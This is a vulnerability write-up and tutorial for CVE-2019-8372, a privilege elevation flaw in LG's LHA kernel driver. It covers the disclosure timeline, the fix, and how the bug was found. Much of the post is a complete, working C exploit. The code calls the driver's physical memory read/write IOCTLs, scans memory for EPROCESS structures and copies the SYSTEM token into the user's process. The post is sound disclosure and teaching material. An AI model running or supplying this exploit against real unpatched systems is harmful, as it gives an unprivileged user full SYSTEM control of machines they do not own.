CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver

TL;DR: CVE for driver-based LPE with an in-depth tutorial on discovery to root and details on two new tools.

At the end of this, we'll better understand how to select worthwhile targets for driver vulnerability research, analyze them for vulnerabilities, and learn an exploitation technique for elevating privileges. If this sounds like your cup of tea, then grab it and start sipping.

Vulnerability Summary

The LHA kernel-mode driver (lha.sys/lha32.sys, v1.1.1703.1700) is associated with the LG Device Manager system service. The service loads the driver if it detects that the Product Name in the BIOS has one of the following substrings: T350, 10T370, 15U560, 15UD560, 14Z960, 14ZD960, 15Z960, 15ZD960, or Skylake Platform. This probably indicates that the driver loads with those associated models which happen to have the 6th-gen Intel Core processors (Skylake).

This driver is used for Low-level Hardware Access (LHA) and includes IOCTL dispatch functions that can be used to read and write to arbitrary physical memory. When it is loaded, the device created by the driver is accessible to non-administrative users which could allow them to leverage those functions to elevate privileges. As shown in the screen recording below, these functions were leveraged to elevate privileges from a standard account by searching physical memory for the EPROCESS security token of the System process and writing it into the EPROCESS structure for the PowerShell process.

The suggested remediation was to replace the IoCreateDevice call in the driver with IoCreateDeviceSecure. This works as a perimeter defence by specifying an SDDL string such that only processes running in the context of SYSTEM will be allowed to create a handle. Considering that Device Manager service executes in that context, this should not interfere with its ability to load and use the driver.

Disclosure Timeline

  • 2018-11-11: Discovered vulnerability.
  • 2018-11-14: Developed baseline proof-of-concept for Windows 7 x64.
  • 2018-11-17: Refactored exploit for robustness, readability, and compatibility with Windows 10 x64.
  • 2018-11-18: Disclosed vulnerability to LG PSRT and received confirmation of submission.
  • 2018-11-21: Received acknowledgement that they intend to fix the vulnerability ASAP.
  • 2018-11-26: Received request to validate remediation on a updated version of the driver.
  • 2018-11-27: Driver was validated and proposed remediation was implemented correctly.
  • 2019-02-13: Received confirmation that a patch is being released.

The LG PSRT team was responsive and cooperative. It only took them a week to develop an update for review, and that's not always easy to do in similar organizations. I would work with them again should the opportunity arise.

Technical Walkthrough

The remainder of this post is written as an end-to-end tutorial that goes over how the vulnerability was found, the exploit development process, and some other musings. I wanted to write this in a way to make it somewhat more accessible to folks who are already familiar with reversing on Windows but new to driver vulnerability research. At the bottom, I have a section for related resources and write-ups that I found useful. Feel free to ping me if there's anything that requires further elaboration.

Vulnerability Discovery

Finding vulnerabilities in an OEM or enterprise master image can be useful from an offensive perspective because of the potential blast radius that comes with a wide deployment. The goals can typically involve finding a combination of remote code execution (RCE), local privilege elevation (LPE), and sensitive data exposure. Check out my previous post for a methodology intro.

When it comes to software bugs that lead to LPE, you can look for customizations introduced into the master image such as system services and kernel-mode drivers which run in a privileged context and may not receive as much scrutiny. For more information on the different avenues for LPE, there's an informative talk by Teymur Kheirkhabarov worth checking out. In the big picture, finding LPE should be chained with an RCE vector, and the LPE may not be as necessary if the target user is already an administrator as they are on most consumer PCs.

When it came to this vulnerable driver, I started by looking at a list of loaded drivers using tools like DriverView and driverquery to find any unique LG-made or third-party drivers that may not receive as much scrutiny as a result of their scarcity. I found it peculiar that the LHA driver would load from Program Files instead of C:\Windows\system32\drivers. It was in the directory for LG Device Manager, so it was worth analyzing those binaries to see how they interact with the driver. This can give context into how the driver is loaded and how user-mode programs can interact with it. The latter can be especially useful for getting more semantic context into what would otherwise be the disorienting array of disassembly you would see in IDA.

On the topic of semantic context, some online searches indicate that the acronym in LHA.sys refers to "Low-level Hardware Access". This type of driver allows system services developed by OEMs to trigger system management interrupts (SMIs) as well as read and write physical memory and model-specfic registers (MSRs)—all of which are privileged actions that can only occur in kernel-mode. Vulnerabilities were also found in similar drivers made by ASUS (@gsuberland and @slipstream), MSI (@ReWolf), and Dell (@hatRiot). Alex Matrosov also describes the "dual-use" nature of these drivers in rootkit development.

As what we're about to embark on is not particularly novel, we have a defined path ahead of us in terms of what to expect.

At this point we should determine:

  1. The constraints under which the driver is loaded (e.g. when and how),
  2. Whether low-privileged processes (LPPs) can interact with it, and if so,
  3. Whether it exposes any functionality that can be abused toward LPE.

The DeviceManager.exe binary appears to be a .NET assembly, so let's take a closer look with dnSpy, a .NET decompiler and debugger. You can follow along by downloading the Device Manager installer. We can see that there's a driverInitialize method that installs and loads the driver.

The command line equivalent of doing the same is below. Mind the space after binPath= and type=.

λ sc create LHA.sys binpath= "C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys" type= kernel
[SC] CreateService SUCCESS

λ sc start LHA.sys

SERVICE_NAME: LHA.sys
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 0
        FLAGS              :

This answers how the driver is loaded, so let's figure out when. You can select the method name in dnSpy and hit Ctrl+Shift+R to analyze call flows. We'll want to analyze calls that start from the service's OnStart method and flow toward the driverInitialize method. The OnStart method first determines the model of the unit, and from there calls OnStartForXXXXXX functions that are specific to the current model. A subset of those model-specific functions will then eventually call driverInitialize. The ResumeTimer_Elapsed method which is called from a number of model-specific functions is associated with a Timer object which means it doesn't get executed immediately (e.g. 20s to 120s after depending on the model).

Although it looks like this driver is loaded on a subset of models, it's still worth checking for any avenues where user-influenced input can expand the blast radius. Perhaps if we can trick the onStart method into thinking the current model is actually one from the subset (e.g. 15Z960 instead of 15Z980), then we can have the execution flow toward the branches that will eventually call driverInitialize. It turns out that it sources the model number from HKLM\HARDWARE\DESCRIPTION\System\BIOS. As this is in the HKEY_LOCAL_MACHINE registry hive, an LPP would not be able to modify contents. If that was possible, then we could stop here because there would be plenty of easier ways to gain LPE.

We now know that the driver loads when the service identifies the unit's model from a whitelist and that it doesn't load immediately after the service starts. Now let's figure out how LPPs can interact with it. Not every driver provides a path toward LPE, and some initial recon will be helpful in determining if it's worth investigating further. In order for low-privileged users to interact with a driver, the following conditions must be satisfied:

  1. The driver must be loaded and create a device object.
  2. The device object must have a symbolic link associated with it.
  3. The DACL of the device object must be configured so that non-admins can R/W.

The Driver Initial Reconnaissance Tool, DIRT, helps with identifying those candidates with the --lp-only switch. As we can see below, the LHA driver is loaded and one device object is created. The device is accessible by LPPs because it has an open DACL and a symbolic link (\\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}). It also has a registered DispatchDeviceControl function which may indicate that it has defined IOCTL dispatch functions that can be called from user-mode via DeviceIoControl.

λ dirt.exe --no-msft --lp-only
DIRT v0.1.1: Driver Initial Reconnaisance Tool (@Jackson_T)
Repository:  https://github.com/jthuraisamy/DIRT
Compiled on: Aug 25 2018 19:25:11

INFO: Hiding Microsoft drivers (--no-msft).
INFO: Only showing drivers that low-privileged users can interface with (--lp-only).

lha.sys: lha.sys (LG Electronics Inc.)
Path: C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys
DispatchDeviceControl: 0xFFFFF8012E9C32E0
Devices: 1
└── \Device\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} (open DACL, 1 symlinks)
    └── \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}

DeviceIoControl is one way of interacting with the driver, and other ways include ReadFile and WriteFile. In order for a driver to receive DeviceIoControl request from a user-mode program, it has to define a DispatchDeviceControl function and register its entry point in the IRP_MJ_DEVICE_CONTROL index for its MajorFunction dispatch table. We can run WinDbg or WinObjEx64 (as an administrator) to see which functions are registered by selecting the driver and viewing its properties:

This is how it works for the Windows Driver Model (WDM). There is also the Kernel Mode Driver Framework (KMDF) which is seen as the more streamlined successor to WDM, and the Windows Display Driver Model (WDDM) for graphics drivers. Check out the resources at the bottom of this page to get familiar with them.

Let's dig deeper into the DispatchDeviceControl function with IDA Freeware. In the functions window, you should be able to type the last three digits of the address DIRT identified for that function (2E0) and the resulting list will be considerably shorter. You'll know you're probably in the right function when you see many branches representing a jump table like the one below. From here we can navigate through the branches to identify each IOCTL and what it does.

If you have a license for the Hex-Rays decompiler, it makes it much easier (by computing some of the IOCTL codes for you, appropriately naming variables and constants passed into Windows APIs, etc.). It will never be completely accurate, but I prefer to operate at the right level of abstraction (even if it's an approximation) and only go deeper into the weeds of disassembly when it's necessary.

Let's take an in-depth look into the dispatch function that can read arbitrary memory (IOCTL 0x9C402FD8). The annotated disassembly is below as well as a pseudocode translation. After we review this function, you should identify and take a look into the function that can write arbitrary memory as an exercise. (This assumes you have some familiarity with reading disassembly, calling conventions, etc.)

We can infer the variable names from their usage and the struct for the input buffer in the pseudocode can also be inferred through the dereferences of var_InputBuffer_Copy1 and var_InputBuffer_Copy2. The function first performs validation checks on the lengths provided in DeviceIoControl to ensure that the input buffer length meets a minimum of 12 bytes, and that the output buffer length is equal to or greater then the length specified in the request struct. If those checks pass, then the specified physical memory range is mapped to nonpaged system space using MmMapIoSpace and that range is looped through to copy each byte into the user buffer. When the loop is complete, the physical memory is unmapped using MmUnmapIoSpace and the function epilogue is reached.

typedef struct {
    DWORDLONG address;
    DWORD length;
} REQUEST;

NTSTATUS function ReadPhysicalMemory(REQUEST* inBuffer, DWORD inLength, DWORD outLength, PBYTE outBuffer) {
    NTSTATUS statusCode = 0;
    if ((inLength >= 12) && (outLength >= *inBuffer.length)) {
        PVOID mappedMemory = MmMapIoSpace(*inBuffer.address, *inBuffer.length, MmNonCached);
        for (int i = 0; i < *inBuffer.length; i++)
            outBuffer[i] = mappedMemory[i];
        MmUnmapIoSpace(*inBuffer.address, *inBuffer.length);
    } else {
        DbgPrint("LHA: ReadMemBlockQw Failed\n");
        statusCode = STATUS_BUFFER_TOO_SMALL;
    }
    return statusCode;
}

To recap, our assumed constraints for the IOCTL dispatch function for reading physical memory are:

  1. The input buffer is a struct that contains the physical address to start reading from and the number of bytes to read.
  2. The size of the input buffer must be at least 12 bytes (8 byte QWORD for address + 4 byte DWORD for length).
  3. The size of the output buffer must be at least the length specified in the input struct.

We can dynamically test our assumptions about this dispatch function using a tool called ioctlpus. This makes DeviceIoControl requests with arbitrary inputs and has an interface similar to Burp Repeater. I wrote it primarily for this use case: to validate my assumptions after I've taken the time to statically understand what a particular IOCTL dispatch function requires and returns. Although it's a little clunky, it's a time-saver from the tedious task of making minor code changes then recompiling every time I want to poke around a particular IOCTL function.

Let's run it as a non-administrative user, and send a read request to it where we read 0xFFFF bytes at offset 0x10000000:

  1. Set the path to what DIRT identified: \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}.
  2. Set the IOCTL code to: 9C402FD8.
  3. Set the input size to: C (12 bytes in hexadecimal).
  4. Set the output size to: FFFF (65535 bytes in hexadecimal).
  5. Set the input buffer at offset 0, the address parameter in struct, to 00 00 00 01 00 00 00 00 (little-endian).
  6. Set the input buffer at offset 8, the length parameter, to FF FF 00 00 (little-endian).
  7. Click on the "Send" button.

Success! It may not look like much, but in this discovery process we've confirmed:

  1. The conditions under which the driver loads,
  2. That it is indeed accessible from LPPs when loaded, and lastly,
  3. That it contains some vulnerable functions (e.g. reading and writing arbitrary physical memory)

But wait, there's more!

Exploit Development

With these read and write primitives, we can figure out a strategy to get LPE. With access to kernel memory, we can perform a "token stealing" attack (more like token copying 🤷‍).

For each process, the kernel defines an EPROCESS structure that serves as the process object. Every structure contains a security token, and the goal is to replace the token of an LPP with one of a process running as SYSTEM. There are a couple caveats to this:

  1. First, the typical strategy around token stealing relies on virtual memory addresses which we cannot dereference with our primitives. Instead, we can take a needle-in-haystack approach and find byte buffers in physical memory we know should be associated with that structure.

  2. Second, the EPROCESS structure is opaque and can be prone to changing between versions of Windows. This is something to be mindful of when calculating offsets. Petr Beneš' NtDiff tool can be helpful in determining these offset changes between versions.

We're going to deep dive into the exploit code in the order it was developed. Before we do that, let's first review the diagram below to get an overview of the execution flow:

We first want to create a handle to the device created by the driver so we can interact with it. After that, we want to identify our parent process so that we can elevate it. For example, if we launched PowerShell, then ran the exploit, this would result in all subsequent commands being executed as SYSTEM. Once we've identified the parent process, we'll construct our "needles" for the EPROCESS structures and find them in the physical memory "haystack". After identifying both structures, we'll copy the token from the System EPROCESS structure into the one for PowerShell, and Bob's your uncle.

Keep in mind that this is just one strategy, and when you get into the details you'll notice it may not be the most reliable or accurate. ReWolf and hatRiot had different approaches for their exploits that are also worth checking out.

Step 1: Interfacing with the LHA Driver

Three functions are defined to interface with the driver. get_device_handle is used to create a handle to the device using CreateFile, in the same way you would create a handle to a file so you can read or write to it. With a handle, you can use the DeviceIoControl API to send requests to the driver's DispatchDeviceControl function. phymem_read and phymem_write are wrapper functions using DeviceIoControl to make the appropriate requests to the driver. We're defining the READ_REQUEST and WRITE_REQUEST structs based on what we inferred from IDA and validated with ioctlpus.

#define DEVICE_SYMBOLIC_LINK        "\\\\.\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}"
#define IOCTL_READ_PHYSICAL_MEMORY  0x9C402FD8
#define IOCTL_WRITE_PHYSICAL_MEMORY 0x9C402FDC

typedef struct {
    DWORDLONG address;
    DWORD length;
} READ_REQUEST;

typedef struct {
    DWORDLONG address;
    DWORD length;
    DWORDLONG buffer;
} WRITE_REQUEST;

HANDLE get_device_handle(char* device_symbolic_link)
{
    HANDLE device_handle = INVALID_HANDLE_VALUE;

    device_handle = CreateFileA(device_symbolic_link,               // Device to open
                                GENERIC_READ | GENERIC_WRITE,       // Request R/W access
                                FILE_SHARE_READ | FILE_SHARE_WRITE, // Allow other processes to R/W
                                NULL,                               // Default security attributes
                                OPEN_EXISTING,                      // Default disposition
                                0,                                  // No flags/attributes
                                NULL);                              // Don't copy attributes

    return device_handle;
}

PBYTE phymem_read(HANDLE    device_handle,
                  DWORDLONG address,
                  DWORD     length)
{
    // Prepare input and output buffers.
    READ_REQUEST input_buffer = { address, length };
    PBYTE output_buffer = (PBYTE)malloc(length);

    DWORD bytes_returned = 0;
    DeviceIoControl(device_handle,              // Device to be queried
                    IOCTL_READ_PHYSICAL_MEMORY, // Operation to perform
                    &input_buffer,              // Input buffer pointer
                    sizeof(input_buffer),       // Input buffer size
                    output_buffer,              // Output buffer pointer
                    length,                     // Output buffer size
                    &bytes_returned,            // Number of bytes returned
                    (LPOVERLAPPED)NULL);        // Synchronous I/O

    return output_buffer;
}

DWORD phymem_write(HANDLE    device_handle,
                   DWORDLONG address,
                   DWORD     length,
                   DWORDLONG buffer)
{
    // Prepare input and output buffers.
    WRITE_REQUEST input_buffer = { address, length, buffer };
    DWORD output_address = NULL;

    DWORD bytes_returned = 0;
    DeviceIoControl(device_handle,               // Device to be queried
                    IOCTL_WRITE_PHYSICAL_MEMORY, // Operation to perform
                    &input_buffer,               // Input buffer pointer
                    sizeof(input_buffer),        // Input buffer size
                    (PVOID)&output_address,      // Output buffer pointer
                    sizeof(output_address),      // Output buffer size
                    &bytes_returned,             // Number of bytes returned
                    (LPOVERLAPPED)NULL);         // Synchronous I/O

    return output_address;
}

Step 2: Finding EPROCESS Structures in Physical Memory

Another function, phymem_find is created on top of phymem_read so that it can find buffers in memory. The memmem function is also implemented to support phymem_find, and functions similarly to strstr but with support for buffers with null bytes. phymem_find accepts a range of addresses (start_address and stop_address), the size of the buffer to be read (search_space), and the buffer to find (search_buffer and buffer_len).

int memmem(PBYTE haystack,
           DWORD haystack_size,
           PBYTE needle,
           DWORD needle_size)
{
    int haystack_offset = 0;
    int needle_offset   = 0;

    haystack_size -= needle_size;

    for (haystack_offset = 0; haystack_offset <= haystack_size; haystack_offset++) {
        for (needle_offset = 0; needle_offset < needle_size; needle_offset++)
            if (haystack[haystack_offset + needle_offset] != needle[needle_offset])
                break; // Next character in haystack.

        if (needle_offset == needle_size)
            return haystack_offset;
    }

    return -1;
}

DWORDLONG phymem_find(HANDLE    device_handle,
                      DWORDLONG start_address,
                      DWORDLONG stop_address,
                      DWORD     search_space,
                      PBYTE     search_buffer,
                      DWORD     buffer_len)
{
    DWORDLONG match_address = -1;

    // Cap the search space to the max available.
    if ((start_address + search_space) > stop_address)
        return match_address;

    PBYTE read_buffer = phymem_read(device_handle,
                                    start_address,
                                    search_space);

    int offset = memmem(read_buffer, search_space, search_buffer, buffer_len);

    free(read_buffer);

    if (offset >= 0)
        match_address = start_address + offset;

    return match_address;
}

Now that we're able to search physical memory with phymem_find, we'll want to develop a capability for finding EPROCESS structures. Ideally we should have our search buffer (or needle) be a valid, reliable, and parsimonious subset of the structure where once identified we can find our security token at a fixed offset. We can use WinDbg to find potential needle candidates:

0: kd> * Get a listing of processes and their EPROCESS addresses.
0: kd> !dml_proc
Address           PID  Image file name
ffffb704`2d0993c0 4    System
ffffb704`31d8b040 198  smss.exe
... snip ...

0: kd> * Dump EPROCESS struct for System process.
0: kd> dt nt!_EPROCESS ffffb704`2d0993c0
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : 0x00000000`00000004 Void
   +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffb704`31d8b328 - 0xfffff803`8c3f3c20 ]
   +0x2f8 RundownProtect   : _EX_RUNDOWN_REF
   ... snip ...
   +0x358 Token            : _EX_FAST_REF
   ... snip ...
   +0x448 ImageFilePointer : (null)
   +0x450 ImageFileName    : [15]  "System"
   +0x45f PriorityClass    : 0x2 ''
   +0x460 SecurityPort     : (null)

We'll know the name and PID for each process we're targeting, so the UniqueProcessId and ImageFileName fields should be good candidates. Problem is that we won't be able to accurately predict the values for every field between them. Instead, we can define two needles: one that has ImageFileName and another that has UniqueProcessId. We can see that their corresponding byte buffers have predictable outputs.

0: kd> * Show byte buffer for ImageFileName ("System") + PriorityClass (0x00000002):
0: kd> db ffffb704`2d0993c0+450 l0x13
ffffb704`2d099810  53 79 73 74 65 6d 00 00-00 00 00 00 00 00 00 02  System..........
ffffb704`2d099820  00 00 00                                         ...

0: kd> * Show byte buffer for ProcessLock (0x00000000`00000000) + UniqueProcessId (0x00000000`00000004):
0: kd> db ffffb704`2d0993c0+2d8 l0x10
ffffb704`2d099698  00 00 00 00 00 00 00 00-04 00 00 00 00 00 00 00  ................

Let's define structs for these needles and a phymem_find_eprocess function that will find and return the physical address for a process object when provided with an address range and the two needles. It will look for ImageFileName + PriorityClass first, and if there's a match, confirm by checking ProcessLock + UniqueProcessId at a fixed offset. Including these additional fields will help increase our confidence that we're finding the right data in memory.

// EPROCESS offsets (Windows 10 v1703-1903):
#define OFFSET_PROCESSLOCK   0x2D8
#define OFFSET_TOKEN         0x358
#define OFFSET_IMAGEFILENAME 0x450

typedef struct {
    DWORDLONG ProcessLock;
    DWORDLONG UniqueProcessID;
} EPROCESS_NEEDLE_01;

typedef struct {
    CHAR  ImageFileName[15];
    DWORD PriorityClass;
} EPROCESS_NEEDLE_02;

DWORDLONG phymem_find_eprocess(HANDLE             device_handle,
                               DWORDLONG          start_address,
                               DWORDLONG          stop_address,
                               EPROCESS_NEEDLE_01 needle_01,
                               EPROCESS_NEEDLE_02 needle_02)
{
    DWORDLONG search_address = start_address;
    DWORDLONG match_address  = NULL;
    DWORDLONG eprocess_addr  = NULL;
    DWORD     search_space   = 0x00001000;

    PBYTE needle_buffer_01 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_01));
    memcpy(needle_buffer_01, &needle_01, sizeof(EPROCESS_NEEDLE_01));

    PBYTE needle_buffer_02 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_02));
    memcpy(needle_buffer_02, &needle_02, sizeof(EPROCESS_NEEDLE_02));

    while (TRUE)
    {
        if ((search_address + search_space) >= stop_address)
        {
            free(needle_buffer_01);
            free(needle_buffer_02);
            return match_address;
        }

        if (search_address % 0x100000 == 0)
        {
            printf("Searching from address: 0x%016I64X.\r", search_address);
            fflush(stdout);
        }

        match_address = phymem_find(device_handle,
                                    search_address,
                                    stop_address,
                                    search_space,
                                    needle_buffer_02,
                                    sizeof(EPROCESS_NEEDLE_02));

        if (match_address > search_address)
        {
            eprocess_addr = match_address - OFFSET_IMAGEFILENAME;

            PBYTE buf = phymem_read(device_handle,
                                    eprocess_addr + OFFSET_PROCESSLOCK,
                                    sizeof(EPROCESS_NEEDLE_01));

            if (memcmp(needle_buffer_01, buf, sizeof(EPROCESS_NEEDLE_01)) == 0)
                return eprocess_addr;
            else
                free(buf);
        }

        search_address += search_space;
    }

    free(needle_buffer_01);
    free(needle_buffer_02);
    return 0;
}

Some potential issues we can foresee with this approach:

  1. Reliability: Will PriorityClass and ProcessLock always have the values we're expecting?
  2. Validity: Could it return a match that's actually not an EPROCESS structure?
  3. Efficiency: How can we determine an optimal start address that return a result in the least amount of time?

I looked into these only empirically and found that this worked most of the time. When it came to the address range, I also encountered the same issue that ReWolf had where a part of the scan would slow down significantly because it was accessing addresses that are reserved for hardware I/O. Blacklisting those sub-ranges could be possible using NtQuerySystemInformation but that requires elevation which is not useful right now. The machines I tested on had at least 8 GB of memory, so starting at offset 0x100000000 seemed to be a sweet spot.

Step 3: Finding the Parent Process

We know that the name and PID of our System process will be constant, but we can't say the same of the parent process of the exploit. So let's figure out what those values are is so we can populate the needle structs. Two functions can be defined for this: one finds the PID of the current process (get_parent_pid), and another gets the name of a given process (get_process_name). Both use the CreateToolhelp32Snapshot and Process32First/Next APIs to traverse through the list of processes.

DWORD get_parent_pid(DWORD pid)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    Process32First(hSnapshot, &pe32);

    do
    {
        if (pe32.th32ProcessID == pid)
            return pe32.th32ParentProcessID;
    }
    while (Process32Next(hSnapshot, &pe32));

    return 0;
}

void get_process_name(DWORD pid, PVOID buffer_ptr)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    Process32First(hSnapshot, &pe32);

    do
    {
        if (pe32.th32ProcessID == pid)
        {
            memcpy(buffer_ptr, &pe32.szExeFile, strlen(pe32.szExeFile));
            return;
        }
    }
    while (Process32Next(hSnapshot, &pe32));
}

Step 4: Stealing the System Token

Now that we have a way getting the addresses of our EPROCESS structures for our System and parent processes, let's read the security token from the System process and copy it into our parent process using our read and write primitives.

void duplicate_token(HANDLE    device_handle,
                     DWORDLONG source_eprocess,
                     DWORDLONG target_eprocess)
{
        DWORDLONG source_token = NULL;
        DWORDLONG target_token = NULL;

        // Read security token of System into source_token.
        memcpy(&source_token,
               phymem_read(device_handle,
                           source_eprocess + OFFSET_TOKEN,
                           sizeof(DWORDLONG)),
               sizeof(DWORDLONG));
        printf("Source token (0x%016I64X): 0x%016I64X.\n",
               source_eprocess + OFFSET_TOKEN,
               source_token);

        // Read security token of parent process into target_token.
        memcpy(&target_token,
               phymem_read(device_handle,
                           target_eprocess + OFFSET_TOKEN,
                           sizeof(DWORDLONG)),
               sizeof(DWORDLONG));
        printf("Target token (0x%016I64X): 0x%016I64X.\n\n",
               target_eprocess + OFFSET_TOKEN,
               target_token);

        // Copy source token into target token.
        target_token = source_token;
        printf("Target token (0x%016I64X): 0x%016I64X =>  pre-commit.\n",
               target_eprocess + OFFSET_TOKEN,
               target_token);
        phymem_write(device_handle,
                     target_eprocess + OFFSET_TOKEN,
                     sizeof(DWORDLONG),
                     target_token);

        // Read target token again to verify.
        memcpy(&target_token,
               phymem_read(device_handle,
                           target_eprocess + OFFSET_TOKEN,
                           sizeof(DWORDLONG)),
               sizeof(DWORDLONG));
        printf("Target token (0x%016I64X): 0x%016I64X => post-commit.\n",
               target_eprocess + OFFSET_TOKEN,
               target_token);
}

Step 5: Putting it All Together

The main function ties the previous steps together so that we can gain LPE.

To recap, we created wrapper functions for DeviceIoControl so that we can interface with the driver and read/write arbitrary memory. Then we extended the read function to search the memory haystack for needles, and extended that to search for EPROCESS structures using needle structs we defined. After developing the capability to find our parent process, we can identify the EPROCESS structures and pass them to a function that will perform the token stealing operation.

int main()
{
    printf("LG Device Manager LHA Driver LPE POC (@Jackson_T)\n");
    printf("Compiled on: %s %s\n", __DATE__, __TIME__);
    printf("Tested on:   Windows 10 x64 v1709\n\n");

    // Get a handle to the LHA driver's device.
    HANDLE device_handle = get_device_handle(DEVICE_SYMBOLIC_LINK);

    DWORDLONG root_pid = 4;
    DWORDLONG user_pid = get_parent_pid(GetCurrentProcessId());

    DWORDLONG root_eprocess = NULL;
    DWORDLONG user_eprocess = NULL;

    DWORDLONG start_address = 0x100000000;
    DWORDLONG stop_address  = _UI64_MAX;

    // Define our needles.
    EPROCESS_NEEDLE_01 needle_root_process_01 = { 0, root_pid };
    EPROCESS_NEEDLE_02 needle_root_process_02 = { "System", 2 };
    EPROCESS_NEEDLE_01 needle_user_process_01 = { 0, user_pid };
    EPROCESS_NEEDLE_02 needle_user_process_02 = { 0 };
    get_process_name(user_pid, &needle_user_process_02.ImageFileName);
    needle_user_process_02.PriorityClass = 2;

    // Search for the EPROCESS structures.
    printf("Finding EPROCESS Tokens in System (PID=%d) and %s (PID=%d)...\n\n",
           (DWORD)root_pid,
           needle_user_process_02.ImageFileName,
           (DWORD)user_pid);
    printf("Search range start:     0x%016I64X.\n", start_address, stop_address);

    root_eprocess = phymem_find_eprocess(device_handle,
                                         start_address,
                                         stop_address,
                                         needle_root_process_01,
                                         needle_root_process_02);
    printf("EPROCESS for %08Id:  0x%016I64X.\n", root_pid, root_eprocess);

    user_eprocess = phymem_find_eprocess(device_handle,
                                         start_address,
                                         stop_address,
                                         needle_user_process_01,
                                         needle_user_process_02);
    printf("EPROCESS for %08Id:  0x%016I64X.\n\n", user_pid, user_eprocess);

    // Perform token stealing.
    duplicate_token(device_handle, root_eprocess, user_eprocess);

    CloseHandle(device_handle);

    if (strcmp(needle_user_process_02.ImageFileName, "explorer.exe") == 0)
    {
        printf("\nPress [Enter] to exit...");
        while (getchar() != '\n');
    }

    return 0;
}

If all compiles as expected, you should see the exploit work like this:

Thank you for taking the time to read this! Please ping me if you have any feedback, questions, or notice any errata.


Greetz fly out to ReWolf, hatRiot, gsuberland, slipstream/RoL, matrosov, and the LGE PSRT.

References and Resources

Books

Methodology Talks

Windows LPE Techniques


Past posts

  1. Understanding the Current Era of Binary Exploitation
  2. How-To Assess System Images: Overview
  3. Using Symbolic Execution to Recover IOCTLs in HEVD
  4. CVE-2017-11907 WPAD.dat Generator for Responder
  5. High-Level Approaches for Finding Vulnerabilities
  6. Resources for Learning Reverse Engineering
  7. CVE-2016-5563/4/5: RCE and Cardholder Data Exfiltration in Oracle OPERA
  8. java.lang.Runtime.exec() Payload Workarounds
  9. A Diagram for Sabotaging Cryptosystems
  10. PoliCTF 2015 Android Reversing Writeup

@Jackson_T